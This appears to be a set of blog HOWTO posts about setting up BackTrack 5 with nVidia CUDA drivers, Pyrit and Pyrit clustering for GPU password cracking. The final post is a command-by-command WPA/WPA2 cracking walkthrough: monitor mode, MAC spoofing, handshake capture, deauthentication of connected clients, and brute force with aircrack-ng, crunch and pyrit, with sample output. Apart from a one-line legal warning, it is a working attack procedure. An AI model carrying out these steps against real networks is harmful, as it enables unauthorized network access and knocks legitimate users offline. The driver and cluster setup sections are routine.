HOWTO : BackTrack 5 R2 on Intel X79 Express and nVidia display cards (The better way)

Uninstall the manual installed driver

Previous HOWTO is here.

If you followed the previous HOWTO to install the nVidia driver, you can uninstall it by the following command :

./NVIDIA-Linux-x86-295.20.run --uninstall

The better way to install nVidia driver

Step 1 :

add-apt-repository ppa:ubuntu-x-swat/x-updates

apt-get update
apt-get install nvidia-current nvidia-current-modaliases nvidia-settings

Step 2 :

Reboot your system.

After reboot, you issue the following command :

nvidia-xconfig
splash-fix

Then, reboot your system again.

If you install the nVidia driver this way, you are not required to reinstall the driver after the kernel is updated.

You can follow the other parts of tutorial in the previous HOWTO for sample code of CUDA and Pyrit.

That's all! See you.

HOWTO : Cracking WPA/WPA2 without dictionary

This video is not created by me. It is created by Kardipapa. The original video is here.

I upload here for my reference only.

That's all! See you.

UPDATED on May 22, 2012 :

The following links are my Proof of Concept (PoC) that written on April 16, 2010 and May 22, 2011 respectively. Kardipapa confirmed my Proof of Concept is workable.

Using John the Ripper (which is written by me on April 16, 2010 for my Proof of Concept) :

HOWTO : Crack WPA/WPA2-PSK with John the Ripper

Using Crunch and Pyrit (which is written by me on May 22, 2011 for my Proof of Concept) :

HOWTO : WPA/WPA2 cracking with Back|Track 5

HOWTO : Pyrit Cluster with BackTrack 5 R2

Install nVidia CUDA drivers and Pyrit as described here

(A) The server (with the GPUs) Settings

At least run the pyrit once and you will have the following file at ~/.pyrit/config.

default_storage = file://
limit_ncpus = 0
rpc_announce = true
rpc_announce_broadcast = false
rpc_knownclients =
rpc_server = false
workunit_size = 75000

If your system is enabled Hyper-Threading, the "limit_ncpus" should be set to the number of the real CPU cores. For example, my system have 6 real CPU cores and HT is enabled, the setting will be as the following :

limit_ncpus = 6

Bug fix :

nano /usr/local/lib/python2.6/dist-packages/cpyrit/network.py

Locate the following lines :

except socket.error:
   break
if essid != '' or pwbuffer != '':
   pwlist = storage.PAW2_Buffer()
   pwlist.unpack(pwbuffer.data)
   self.client.enqueue(essid, pwlist)
else:
   time.sleep(1)

Change it to :

except socket.error:
   break
if essid != '' or pwbuffer != '':
   pwlist = storage.PAW2_Buffer(pwbuffer.data)
   self.client.enqueue(essid, pwlist)
else:
   time.sleep(1)

Boost the network performance :

nano /usr/local/lib/python2.6/dist-packages/cpyrit/network.py

Locate the following lines :

essid, pwbuffer = \
   self.server.gather(self.client.uuid, 5000)

Change it to :

essid, pwbuffer = \
   self.server.gather(self.client.uuid, 90000)

(B) The client (without or with GPUs) Settings

Client is not required to install nVidia drivers. Just install the BackTrack 5 R2 as is. However, if you client has nvidia display card installed, you should install the nVidia drivers as the captioned mentioned.

The following settings should be set on every client machine.

At least run the pyrit once and you will have the following file at ~/.pyrit/config.

default_storage = file://
limit_ncpus = 0
rpc_announce = true
rpc_announce_broadcast = false
rpc_knownclients = 192.168.0.100
rpc_server = true
workunit_size = 75000

** if you have more than one server, you should set it to (where the IP addresses are the IP address of your servers) :

rpc_knownclients = 192.168.0.100 192.168.0.150

Bug fix :

nano /usr/local/lib/python2.6/dist-packages/cpyrit/network.py

Locate the following lines :

except socket.error:
   break
if essid != '' or pwbuffer != '':
   pwlist = storage.PAW2_Buffer()
   pwlist.unpack(pwbuffer.data)
   self.client.enqueue(essid, pwlist)
else:
   time.sleep(1)

Change it to :

except socket.error:
   break
if essid != '' or pwbuffer != '':
   pwlist = storage.PAW2_Buffer(pwbuffer.data)
   self.client.enqueue(essid, pwlist)
else:
   time.sleep(1)

Boost the network performance :

nano /usr/local/lib/python2.6/dist-packages/cpyrit/network.py

Locate the following lines :

essid, pwbuffer = \
   self.server.gather(self.client.uuid, 5000)

Change it to :

essid, pwbuffer = \
   self.server.gather(self.client.uuid, 90000)

(C) How to run

On the server

pyrit serve

On the client

pyrit benchmark

Remarks :

I have tested this settings on my system with VirtualBox client. The performance of the Pyrit dropped about by half. It is because the VirtualBox client is not on a real network and the CPUs of the VirtualBox client are not real.

By the way, the performance of the cluster will be dropped a lot even in a home gigabit network environment - ThinkPad X100e (AMD CPU with no GPU). I think Pyrit is not very good at network environment at this moment and the CPU power of the client does matter too.

That's all! See you.

HOWTO : BackTrack 5 R2 on Intel X79 Express and nVidia display cards chipset

UPDATE : The better way is here.

Hardware

CPU : Intel i7-3930K (Socket 2011, 12 cores with HT)
Display card : 2 x nVidia GeForce GTX 590 (1024 CUDA cores per card)

Installation of BackTrack 5 R2

BackTrack 5 R2 can be boot up on Intel X79 Express chipset motherboard with 2 nVidia GeForce GTX 590 display cards. However, "nomodeset" should be applied to the boot option by pressing "tab" on the boot menu.

Install the BackTrack 5 R2 as usual. When it is required to reboot, do not remove the BackTrack 5 R2 CD. Boot up the CD accordingly. After the BackTrack 5 R2 is booted up, mount the hard drive and add "nomodeset" to boot option of the grub.cfg at /boot/grub.

After that, reboot the system and remove the CD. The system will be boot into BackTrack 5 R2 without problem.

If the kernel is upgraded, you should rebuild the kernel headers by the following steps :

prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/

Installation of nVidia display driver

Go to nVidia Deleloper Zone CUDA Toolkit 4.1 to download the following. Do not enter to X11 by issuing "startx"; otherwise, the installation will be failed.

(1) Download "Latest Drivers for Linux (295.20)" for the nVidia Driver. You can download the driver before not going to the X11.

32-bit :
http://www.nvidia.com/object/linux-display-ia32-295.20-driver.html

64-bit :
http://www.nvidia.com/object/linux-display-amd64-295.20-driver.html

Installation :

32-bit :
chmod +x NVIDIA-Linux-x86-295.20.run
./NVIDIA-Linux-x86-295.20.run

64-bit :
chmod +x NVIDIA-Linux-x86_64-295.20.run
./NVIDIA-Linux-x86_64-295.20.run

After that, you can reboot your system.

Then run the following command to make the suitable resolution :
nvidia-xconfig

(2) Download "CUDA Toolkit for Ubuntu Linux 10.04" for the CUDA Toolkit.

32-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/toolkit/cudatoolkit_4.1.28_linux_32_ubuntu10.04.run

64-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/toolkit/cudatoolkit_4.1.28_linux_64_ubuntu10.04.run

chmod +x http://developer.download.nvidia.com/compute/cuda/4_1/rel/toolkit/cudatoolkit_4.1.28_linux_xx_ubuntu10.04.run

*** Accept the default settings.

(3) Download "GPU Computing SDK" for the nVidia SDK.

wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/sdk/gpucomputingsdk_4.1.28_linux.run

chmod +x gpucomputingsdk_4.1.28_linux.run
./gpucomputingsdk_4.1.28_linux.run

nano /root/.bashrc

Append the following :

PATH=$PATH:/usr/local/cuda/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib:/usr/local/cuda/lib64
export PATH
export LD_LIBRARY

source /root/.bashrc
ldconfig

After that, reboot the system to make the nVidia driver effect.

Compile Sample code of CUDA

apt-get install freeglut3-dev libxi-dev libXmu-dev

cd NVIDIA_GPU_computing_SDK/C
make

Then, run the sample codes at :

cd NVIDIA_GPU_computing_SDK/C/bin/linux/release
./deviceQuery
./nbody

Installation of pyrit

Add the following to /etc/apt/sources.list :

deb http://security.ubuntu.com/ubuntu lucid-security main
apt-get update
apt-get libssl-dev scapy python-dev

Then, delete the newly added entry of the sources.list.

apt-get update

Go to the official site of pyrit.

cd ~
svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit

cd pyrit
python setup.py build
python setup.py install

cd cpyrit
python setup.py build
python setup.py install

To test if the installation is correct or not.

pyrit list_cores
pyrit benchmark
pyrit benchmark_long

Remarks :

Fix the splash :
fix-splash

Install the sensors :
apt-get install sensors-applet

Pyrit Cluster Setup
John the Ripper Cluster Setup

See Also : HOWTO : Pyrit Cluster with BackTrack 5 R2

*** Whenever the linux kernel is updated or upgraded, the nVidia driver should be required to reinstalled to match the upgraded kernel version.

That's all! See you.

Before water cooling



After water cooling

HOWTO : BackTrack 5 R1 on Intel X79 Express chipset and nVidia display card

Hardware

CPU : Intel i7-3930K (Socket 2011, 12 cores with HT)
Display card : 2 x nVidia GeForce GTX 590 (1024 CUDA cores per card)

Installation of BackTrack 5 R1

BackTrack 5 R1 can be boot up on Intel X79 Express chipset motherboard with 2 nVidia GeForce GTX 590 display cards. However, "nomodeset" should be applied to the boot option by pressing "tab" on the boot menu.

Install the BackTrack 5 R1 as usual. When it is required to reboot, do not remove the BackTrack 5 R1 CD. Boot up the CD accordingly. After the BackTrack 5 R1 is booted up, mount the hard drive and add "nomodeset" to boot option of the grub.cfg at /boot/grub.

After that, reboot the system and remove the CD. The system will be boot into BackTrack 5 R1 without problem.

If the kernel is upgraded, you should rebuild the kernel headers by the following steps :

prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/

Installation of nVidia display driver

Go to nVidia Deleloper Zone CUDA Toolkit 4.0 to download the following. Do not enter to X11 by issuing "startx"; otherwise, the installation will be failed.

(1) Download "Developer Drivers for Linux (270.41.19)" for the nVidia Driver.

32-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_0/drivers/devdriver_4.0_linux_32_270.41.19.run

64-bit :
wget http://developer.download.nvidia.com/compute/cuda/4_0/drivers/devdriver_4.0_linux_64_270.41.19.run

chmod +x devdriver_4.0_linux_xx_270.41.19.run
./devdriver_4.0_linux_xx_270.41.19.run

(2) Download "CUDA Toolkit for Ubuntu Linux 10.10" for the CUDA Toolkit.

32-bit :
wget http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0/toolkit/cudatoolkit_4.0.17_linux_32_ubuntu10.10.run

64-bit :
wget http://www.nvidia.com/object/thankyou.html?url=/compute/cuda/4_0/toolkit/cudatoolkit_4.0.17_linux_64_ubuntu10.10.run

chmod +x cudatoolkit_4.0.17_linux_xx_ubuntu10.10.run
./cudatoolkit_4.0.17_linux_xx_ubuntu10.10.run

(3) Download "GPU Computing SDK" for the nVidia SDK.

wget http://developer.download.nvidia.com/compute/cuda/4_0/sdk/gpucomputingsdk_4.0.17_linux.run

chmod +x gpucomputingsdk_4.0.17_linux.run
./gpucomputingsdk_4.0.17_linux.run

nano /root/.bashrc

Append the following :

export PATH=$PATH:/usr/local/cuda/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib:/usr/local/cuda/lib64

After that, reboot the system to make the nVidia driver effect.

Installation of pyrit

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
python setup.py install

To test if the installation is correct or not.

pyrit list_cores
pyrit benchmark
pyrit benchmark_long

That's all! See you.

Before water cooling



After water cooling

HOWTO : WPA/WPA2 cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

(A) General Display card

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step 2 :

airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Step 4 :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel
           -w is the file to be written
           --bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Step 8 (Optional) :

If you do not want to use John the Ripper as word list, you can use Crunch.

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

(B) nVidia Display Card with CUDA

If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.

Step a :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step b :

airmon-ng start wlan0

Step c (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Step d :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step e :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0

Step f :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step g :

If the following programs are not yet installed, please do it.

apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Step h :

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

Step i :

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install

Step j :

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step k (Optional) :

If you encounter error when reading the wpacrack-01.cap, you should do the following step.

pyrit -r wpacrack-01.cap -o new.cap stripLive

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step l :

Then, you will see something similar to the following.

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)

Tried 17960898 PMKs so far; 17504 PMKs per second.

Remarks :

If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.

To test if your wireless card (either USB or PCI-e) can do the injection or not :

airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0

Make sure pyrit workable on your system :

pyrit list_cores

That's all! See you.